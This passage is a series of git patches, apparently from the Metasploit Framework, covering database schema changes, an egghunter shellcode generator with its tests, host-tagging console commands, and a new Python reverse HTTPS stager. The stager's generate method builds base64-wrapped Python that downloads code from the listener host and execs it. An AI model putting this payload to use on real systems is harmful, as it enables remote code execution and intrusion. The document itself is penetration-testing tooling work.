"created_at", :null => false t.datetime "updated_at", :null => false @@ -359,6 +403,24 @@ ActiveRecord::Schema.define(:version => 20150212214222) do add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + create_table "module_runs", :force => true do |t| + t.datetime "attempted_at" + t.text "fail_detail" + t.string "fail_reason" + t.integer "module_detail_id" + t.text "module_full_name" + t.integer "port" + t.string "proto" + t.integer "session_id" + t.string "status" + t.integer "trackable_id" + t.string "trackable_type" + t.integer "user_id" + t.string "username" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + create_table "module_targets", :force => true do |t| t.integer "detail_id" t.integer "index" @@ -393,9 +455,11 @@ ActiveRecord::Schema.define(:version => 20150212214222) do t.boolean "critical" t.boolean "seen" t.text "data" + t.integer "vuln_id" end add_index "notes", ["ntype"], :name => "index_notes_on_ntype" + add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id" create_table "profiles", :force => true do |t| t.datetime "created_at", :null => false @@ -479,13 +543,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do t.integer "port" t.string "platform" t.text "datastore" - t.datetime "opened_at", :null => false + t.datetime "opened_at", :null => false t.datetime "closed_at" t.string "close_reason" t.integer "local_id" t.datetime "last_seen" + t.integer "module_run_id" end + add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id" + create_table "tags", :force => true do |t| t.integer "user_id" t.string "name", :limit => 1024 From 582bfdad6483dee3172151307f9adce1c533abda Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:37:42 -0500 Subject: [PATCH 056/279] explain arch --- tools/egghunter.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 6014193e0c..1f099d4ddf 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -69,6 +69,7 @@ module Egghunter end opt.on('-a', '--arch ', "(Optional) Architecture") do |v| + # Although this is an option, this is currently useless because we don't have x64 egghunters options[:arch] = v end From 487ddfc09ccfd7d365385630587244610d207a6e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:39:00 -0500 Subject: [PATCH 057/279] no need for Interrupt --- tools/egghunter.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 1f099d4ddf..71dbdfff87 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -140,9 +140,6 @@ if __FILE__ == $PROGRAM_NAME driver = Egghunter::Driver.new begin driver.run - rescue Interrupt - $stdout.puts - $stdout.puts "Good bye" rescue ::Exception => e elog("#{e.class}: #{e.message}\n#{e.backtrace * "\n"}") $stderr.puts "[x] #{e.class}: #{e.message}" From 2fda115110efee796a4a971441a5bdaa3e5b1851 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:46:09 -0500 Subject: [PATCH 058/279] rspec starter --- spec/tools/egghunter_spec.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 spec/tools/egghunter_spec.rb diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb new file mode 100644 index 0000000000..08047ffbc0 --- /dev/null +++ b/spec/tools/egghunter_spec.rb @@ -0,0 +1,14 @@ +load Metasploit::Framework.root.join('tools/egghunter.rb').to_path + +require 'rex/proto/http/response' +require 'stringio' + +describe Egghunter do + subject do + Egghunter::Driver.new + end + + describe '#run' do + end + +end \ No newline at end of file From 470464874f8b227fcf222cb389d37875326a588c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 16:53:42 -0500 Subject: [PATCH 059/279] The important test cases I want to cover --- spec/tools/egghunter_spec.rb | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index 08047ffbc0..9b49e8c566 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -4,11 +4,32 @@ require 'rex/proto/http/response' require 'stringio' describe Egghunter do + subject do Egghunter::Driver.new end describe '#run' do - end + context 'when the platform is windows' do + it 'returns a windows egghunter' do + end + end + + context 'when the platform is linux' do + it 'returns a linux egghunter' do + end + end + + context 'when the output format is java' do + it 'returns java format egghunter' do + end + end + + context 'when the egg is WOOT' do + it 'includes W00TW00T in the egghunter' do + end + end + + end end \ No newline at end of file From 96bcdd211cdc67e3ffb5026ed8710a57941610c6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 20:53:04 -0500 Subject: [PATCH 060/279] Finished rspec --- spec/tools/egghunter_spec.rb | 93 +++++++++++++++++++++++++++++++----- tools/egghunter.rb | 2 +- 2 files changed, 82 insertions(+), 13 deletions(-) diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index 9b49e8c566..cc65a9ea85 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -5,31 +5,100 @@ require 'stringio' describe Egghunter do - subject do - Egghunter::Driver.new + describe Egghunter::Driver do + + subject do + Egghunter::Driver.new + end + + let(:egg) { + 'W00T' + } + + describe '#run' do + + def get_stdout(&block) + out = $stdout + $stdout = fake = StringIO.new + begin + yield + ensure + $stdout = out + end + fake.string + end + + let(:default_opts) { + { :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' } + } + + before(:each) do + allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options) + end + + context 'when the platform is windows' do + let(:options) { default_opts } + + it 'returns a windows egghunter' do + output = get_stdout { subject.run } + expect(output).to include("\\x66\\x81\\xca\\xff") + end + end + + context 'when the platform is linux' do + let(:options) do + { :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' } + end + + it 'returns a linux egghunter' do + output = get_stdout { subject.run } + expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff") + end + end + + context 'when the egg is WOOT' do + let(:options) { default_opts } + + it 'includes W00T in the egghunter' do + output = get_stdout { subject.run } + expect(output).to include("\\x57\\x30\\x30\\x54") + end + end + end end - describe '#run' do - context 'when the platform is windows' do - it 'returns a windows egghunter' do + describe Egghunter::OptsConsole do + subject do + Egghunter::OptsConsole + end + + context 'when no options are given' do + it 'raises OptionParser::MissingArgument' do + expect{subject.parse([])}.to raise_error(OptionParser::MissingArgument) end end - context 'when the platform is linux' do - it 'returns a linux egghunter' do + context 'when no format is specified and --list-formats isn\'t used' do + it 'raises OptionParser::MissingArgument' do + args = '-e AAAA'.split + expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument) end end - context 'when the output format is java' do - it 'returns java format egghunter' do + context 'when no egg is specified and --list-formats isn\'t used' do + it 'raises OptionParser::MissingArgument' do + args = '-f python'.split + expect{subject.parse(args)}.to raise_error(OptionParser::MissingArgument) end end - context 'when the egg is WOOT' do - it 'includes W00TW00T in the egghunter' do + context 'when :depsize is a string' do + it 'raises OptionParser::InvalidOption' do + args = '-e AAAA -f c --depsize STRING'.split + expect{subject.parse(args)}.to raise_error(OptionParser::InvalidOption) end end - end + end \ No newline at end of file diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 71dbdfff87..93792b7f0d 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -93,7 +93,7 @@ module Egghunter raise OptionParser::MissingArgument, '-e is required' elsif options[:format] && !::Msf::Simple::Buffer.transform_formats.include?(options[:format]) raise OptionParser::InvalidOption, "#{options[:format]} is not a valid format" - elsif options[:depsize] && options[:depsize] =~ /^\d+$/ + elsif options[:depsize] && options[:depsize] !~ /^\d+$/ raise OptionParser::InvalidOption, "--depsize must be a Fixnum" end From e09f9ca0bc0fd32bd41b9f3ef4176d89247bc38f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 20:55:30 -0500 Subject: [PATCH 061/279] Provide an example --- tools/egghunter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 93792b7f0d..cb5f275f4e 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -14,7 +14,7 @@ module Egghunter def self.parse(args) options = {} parser = OptionParser.new do |opt| - opt.banner = "Usage: #{__FILE__} [options]" + opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -f python -e W00T" opt.separator '' opt.separator 'Specific options:' From 675f96ecd1cd5523f6ba22228534f573747d357e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 23:32:23 -0500 Subject: [PATCH 062/279] Don't need this require --- spec/tools/egghunter_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index cc65a9ea85..5fe3edf070 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -1,6 +1,5 @@ load Metasploit::Framework.root.join('tools/egghunter.rb').to_path -require 'rex/proto/http/response' require 'stringio' describe Egghunter do From 0ff114bcd63e2356be49257175df1c88273b4b83 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 20 Mar 2015 23:48:13 -0500 Subject: [PATCH 063/279] use #!/usr/bin/env ruby --- tools/egghunter.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index cb5f275f4e..c945e9c26e 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -1,3 +1,5 @@ +#!/usr/bin/env ruby + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) From 7282968d8a910a44df3f4afe15fac49cbe94f882 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 21 Mar 2015 12:43:14 -0400 Subject: [PATCH 064/279] Python reverse HTTPS stager --- data/meterpreter/meterpreter.py | 5 +- .../payloads/stagers/python/reverse_https.rb | 112 ++++++++++++++++++ spec/modules/payloads_spec.rb | 11 ++ 3 files changed, 126 insertions(+), 2 deletions(-) create mode 100644 modules/payloads/stagers/python/reverse_https.rb diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 0d3edae9e9..cb73e1bf45 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -264,7 +264,7 @@ def tlv_pack(*args): data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') else: value = tlv['value'] - if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']): + if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode': value = value.encode('UTF-8') elif not is_bytes(value): value = bytes(value, 'UTF-8') @@ -394,7 +394,8 @@ class PythonMeterpreter(object): def driver_init_http(self): if HTTP_PROXY: - proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) + scheme = HTTP_CONNECTION_URL.split(':', 1)[0] + proxy_handler = urllib.ProxyHandler({scheme: HTTP_PROXY}) opener = urllib.build_opener(proxy_handler) else: opener = urllib.build_opener() diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb new file mode 100644 index 0000000000..76cf959acf --- /dev/null +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + CachedSize = 448 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTP using SSL', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]) + ], self.class) + end + + # + # Constructs the payload + # + def generate + lhost = datastore['LHOST'] || '127.127.127.127' + + var_escape = lambda { |txt| + txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\')) + } + + if Rex::Socket.is_ipv6?(lhost) + target_url = "https://[#{lhost}]" + else + target_url = "https://#{lhost}" + end + + target_url << ':' + target_url << datastore['LPORT'].to_s + target_url << '/' + target_url << generate_callback_uri + + proxy_host = datastore['PayloadProxyHost'].to_s + proxy_port = datastore['PayloadProxyPort'].to_i + + cmd = "import sys\n" + if proxy_host == '' + cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n" + else + proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? + "http://[#{proxy_host}]:#{proxy_port}" : + "http://#{proxy_host}:#{proxy_port}" + + cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n" + cmd << "o=ul.build_opener(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" + end + + cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n" + cmd << "exec(o.open('#{target_url}').read())\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # The final estimated size + space + end + + # + # Return the longest URL that fits into our available space + # + def generate_callback_uri + uri_req_len = 30 + rand(256-30) + + # Generate the short default URL if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + uri_req_len = 5 + end + + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len) + end + +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 0db6f195c8..c909a19fde 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_http' end + context 'python/meterpreter/reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/python/reverse_https', + 'stages/python/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_https' + end + context 'python/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From a407bc8d65241094d025e7b78a7794e02d191f59 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 21 Mar 2015 13:05:44 -0400 Subject: [PATCH 065/279] Fix the reverse_https stager CachedSize for the spec --- modules/payloads/stagers/python/reverse_https.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index 76cf959acf..22f928f4b0 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https' module Metasploit3 - CachedSize = 448 + CachedSize = 446 include Msf::Payload::Stager From 2be5ae3bab24d202059cebda35581c977a1a382b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 21 Mar 2015 12:14:00 -0500 Subject: [PATCH 066/279] Fix bugs --- tools/egghunter.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index c945e9c26e..b35de0dcc6 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -20,10 +20,6 @@ module Egghunter opt.separator '' opt.separator 'Specific options:' - options[:badchars] = '' - options[:platform] = 'windows' - options[:arch] = ARCH_X86 # 'x86' - opt.on('-f', '--format ', "See --list-formats for a list of supported output formats") do |v| options[:format] = v end @@ -47,7 +43,7 @@ module Egghunter opt.on('--forward', "(Optional) To search forward") do |v| # Do not change this key. This should matching the one in Rex::Exploitation::Egghunter - options[:startreg] = true + options[:searchforward] = true end opt.on('--depreg ', "(Optional) The DEP register") do |v| @@ -99,6 +95,10 @@ module Egghunter raise OptionParser::InvalidOption, "--depsize must be a Fixnum" end + options[:badchars] = '' unless options[:badchars] + options[:platform] = 'windows' unless options[:platform] + options[:arch] = ARCH_X86 unless options[:arch] + options end end From f45e8f49eb8e558c80f8c7133dcfbcc8fd034e77 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 21 Mar 2015 12:18:02 -0500 Subject: [PATCH 067/279] Custom var name --- tools/egghunter.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index b35de0dcc6..175bccadc9 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -75,6 +75,10 @@ module Egghunter options[:list_formats] = true end + opt.on('-v', '--var-name ', String, '(Optional) Specify a custom variable name to use for certain output formats') do |v| + options[:var_name] = v + end + opt.on_tail('-h', '--help', 'Show this message') do $stdout.puts opt exit @@ -124,7 +128,7 @@ module Egghunter raw_code = egghunter.hunter_stub('', @opts[:badchars], @opts) output_stream = $stdout output_stream.binmode - output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format]) + output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name]) end private From 848dc07020ac21191919d784491207b688cc6fe2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 21 Mar 2015 12:20:29 -0500 Subject: [PATCH 068/279] var name needs a default --- tools/egghunter.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 175bccadc9..617b8ca5f3 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -102,6 +102,7 @@ module Egghunter options[:badchars] = '' unless options[:badchars] options[:platform] = 'windows' unless options[:platform] options[:arch] = ARCH_X86 unless options[:arch] + options[:var_name] = 'buf' unless options[:var_name] options end From 315948e403e24d49db6a2a4116f9c9e9c249ad6c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 21 Mar 2015 13:49:50 -0500 Subject: [PATCH 069/279] Extra newline --- tools/egghunter.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/egghunter.rb b/tools/egghunter.rb index 617b8ca5f3..4a74feb354 100755 --- a/tools/egghunter.rb +++ b/tools/egghunter.rb @@ -130,6 +130,7 @@ module Egghunter output_stream = $stdout output_stream.binmode output_stream.write ::Msf::Simple::Buffer.transform(raw_code, @opts[:format], @opts[:var_name]) + $stderr.puts end private From 863cbcbddbc37335b98c90d009e0e5adc380c707 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 15:34:37 -0500 Subject: [PATCH 070/279] Add real tagging for the hosts command --- lib/msf/ui/console/command_dispatcher/db.rb | 48 ++++++++++++++++++++- 1 file changed, 46 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 6a0295081f..8d68daa6af 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -249,6 +249,26 @@ class Db end end + def add_host_tag(rws, tag_name) + addrs = [] + rws.each do |rw| + rw.each do |ip| + addrs << ip + wspace = framework.db.workspace + host = framework.db.get_host(:workspace => wspace, :address => ip) + possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name).order("tags.id DESC").limit(1) + tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) + tag.name = tag_name + tag.hosts = [host] + tag.save! if tag.changed? + end + end + end + + def find_tags(host) + Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") + end + def cmd_hosts(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { @@ -263,9 +283,10 @@ class Db output = nil default_columns = ::Mdm::Host.column_names.sort + default_columns << 'tags' # Special case virtual_columns = [ 'svcs', 'vulns', 'workspace' ] - col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments'] + col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments', 'tags'] default_columns.delete_if {|v| (v[-2,2] == "id")} while (arg = args.shift) @@ -305,6 +326,9 @@ class Db when '-m', '--comment' mode = :new_comment comment_data = args.shift + when '-t', '--tag' + mode = :new_tag + tag_name = args.shift when '-h','--help' print_line "Usage: hosts [ options ] [addr1 addr2 ...]" print_line @@ -320,6 +344,7 @@ class Db print_line " -i,--info Change the info of a host" print_line " -n,--name Change the name of a host" print_line " -m,--comment Change the comment of a host" + print_line " -t,--tag Add a new tag to a range of hosts" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line @@ -368,13 +393,27 @@ class Db when :new_comment change_host_comment(host_ranges, comment_data) return + when :new_tag + begin + add_host_tag(host_ranges, tag_name) + rescue ::Exception => e + if e.message =~ /Validation failed/ + print_error(e.message) + else + raise e + end + end + return end each_host_range_chunk(host_ranges) do |host_search| framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host| if search_term - next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } + next unless host.attribute_names.any? { |a| + host[a.intern].to_s.match(search_term) || !find_tags(host).empty? + } end + columns = col_names.map do |n| # Deal with the special cases if virtual_columns.include?(n) @@ -384,6 +423,11 @@ class Db when "workspace"; host.workspace.name end # Otherwise, it's just an attribute + elsif n == 'tags' + found_tags = find_tags(host) + tag_names = [] + found_tags.each {|t| tag_names << t.name} + found_tags * ", " else host.attributes[n] || "" end From 708eb42984a51b9d2541b0c13f5562543e4b4a1a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 18:13:40 -0500 Subject: [PATCH 071/279] I fix bugs for tagging --- lib/msf/ui/console/command_dispatcher/db.rb | 25 ++++++++++----------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 8d68daa6af..64cf42ec7f 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -256,19 +256,17 @@ class Db addrs << ip wspace = framework.db.workspace host = framework.db.get_host(:workspace => wspace, :address => ip) - possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name).order("tags.id DESC").limit(1) - tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) - tag.name = tag_name - tag.hosts = [host] - tag.save! if tag.changed? + if host + possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1) + tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) + tag.name = tag_name + tag.hosts = [host] + tag.save! if tag.changed? + end end end end - def find_tags(host) - Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") - end - def cmd_hosts(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { @@ -409,9 +407,10 @@ class Db each_host_range_chunk(host_ranges) do |host_search| framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host| if search_term - next unless host.attribute_names.any? { |a| - host[a.intern].to_s.match(search_term) || !find_tags(host).empty? - } + next unless ( + host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } or + !Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty? + ) end columns = col_names.map do |n| @@ -424,7 +423,7 @@ class Db end # Otherwise, it's just an attribute elsif n == 'tags' - found_tags = find_tags(host) + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC") tag_names = [] found_tags.each {|t| tag_names << t.name} found_tags * ", " From b2cc3c4954b49aa183275099cb3c099264213cb0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 18:21:57 -0500 Subject: [PATCH 072/279] I found more bugs and fixed them --- lib/msf/ui/console/command_dispatcher/db.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 64cf42ec7f..4efadf48ff 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -220,6 +220,11 @@ class Db end def change_host_info(rws, data) + if rws == [nil] + print_error("In order to change the host info, you must provide a range of hosts") + return + end + rws.each do |rw| rw.each do |ip| id = framework.db.get_host(:address => ip).id @@ -230,6 +235,11 @@ class Db end def change_host_name(rws, data) + if rws == [nil] + print_error("In order to change the host name, you must provide a range of hosts") + return + end + rws.each do |rw| rw.each do |ip| id = framework.db.get_host(:address => ip).id @@ -240,6 +250,11 @@ class Db end def change_host_comment(rws, data) + if rws == [nil] + print_error("In order to change the comment, you must provide a range of hosts") + return + end + rws.each do |rw| rw.each do |ip| id = framework.db.get_host(:address => ip).id @@ -250,6 +265,11 @@ class Db end def add_host_tag(rws, tag_name) + if rws == [nil] + print_error("In order to add a tag, you must provide a range of hosts") + return + end + addrs = [] rws.each do |rw| rw.each do |ip| From ef62fc3df76b2f1684b1a84d993164257331d97b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 20:08:23 -0500 Subject: [PATCH 073/279] Allow the delete mode for tags --- lib/msf/ui/console/command_dispatcher/db.rb | 56 ++++++++++++++------- 1 file changed, 39 insertions(+), 17 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 4efadf48ff..1eb41a29d2 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -270,10 +270,8 @@ class Db return end - addrs = [] rws.each do |rw| rw.each do |ip| - addrs << ip wspace = framework.db.workspace host = framework.db.get_host(:workspace => wspace, :address => ip) if host @@ -287,12 +285,31 @@ class Db end end + def delete_host_tag(rws, tag_name) + wspace = framework.db.workspace + if rws == [nil] + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name).order("tags.id DESC") + found_tags.each do |t| + t.delete + end + else + rws.each do |rw| + rw.each do |ip| + found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC") + found_tags.each do |t| + t.delete + end + end + end + end + end + def cmd_hosts(*args) return unless active? ::ActiveRecord::Base.connection_pool.with_connection { onlyup = false set_rhosts = false - mode = :search + mode = [] delete_count = 0 rhosts = [] @@ -310,9 +327,9 @@ class Db while (arg = args.shift) case arg when '-a','--add' - mode = :add + mode << :add when '-d','--delete' - mode = :delete + mode << :delete when '-c' list = args.shift if(!list) @@ -336,16 +353,16 @@ class Db when '-S', '--search' search_term = /#{args.shift}/nmi when '-i', '--info' - mode = :new_info + mode << :new_info info_data = args.shift when '-n', '--name' - mode = :new_name + mode << :new_name name_data = args.shift when '-m', '--comment' - mode = :new_comment + mode << :new_comment comment_data = args.shift when '-t', '--tag' - mode = :new_tag + mode << :tag tag_name = args.shift when '-h','--help' print_line "Usage: hosts [ options ] [addr1 addr2 ...]" @@ -362,7 +379,7 @@ class Db print_line " -i,--info Change the info of a host" print_line " -n,--name Change the name of a host" print_line " -m,--comment Change the comment of a host" - print_line " -t,--tag Add a new tag to a range of hosts" + print_line " -t,--tag Add or specify a tag to a range of hosts" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line @@ -381,7 +398,9 @@ class Db col_names = default_columns + virtual_columns end - if mode == :add + mode << :search if mode.empty? + + if mode == [:add] host_ranges.each do |range| range.each do |address| host = framework.db.find_or_create_host(:host => address) @@ -401,17 +420,17 @@ class Db # Sentinal value meaning all host_ranges.push(nil) if host_ranges.empty? - case mode - when :new_info + case + when mode == [:new_info] change_host_info(host_ranges, info_data) return - when :new_name + when mode == [:new_name] change_host_name(host_ranges, name_data) return - when :new_comment + when mode == [:new_comment] change_host_comment(host_ranges, comment_data) return - when :new_tag + when mode == [:tag] begin add_host_tag(host_ranges, tag_name) rescue ::Exception => e @@ -422,6 +441,9 @@ class Db end end return + when mode.include?(:tag) && mode.include?(:delete) + delete_host_tag(host_ranges, tag_name) + return end each_host_range_chunk(host_ranges) do |host_search| @@ -457,7 +479,7 @@ class Db addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end - if mode == :delete + if mode == [:delete] host.destroy delete_count += 1 end From ffe48e1ec80ecf93f02d5cd5f27a9fa9c930d873 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 22 Mar 2015 20:43:11 -0500 Subject: [PATCH 074/279] Don't need order to delete --- lib/msf/ui/console/command_dispatcher/db.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb 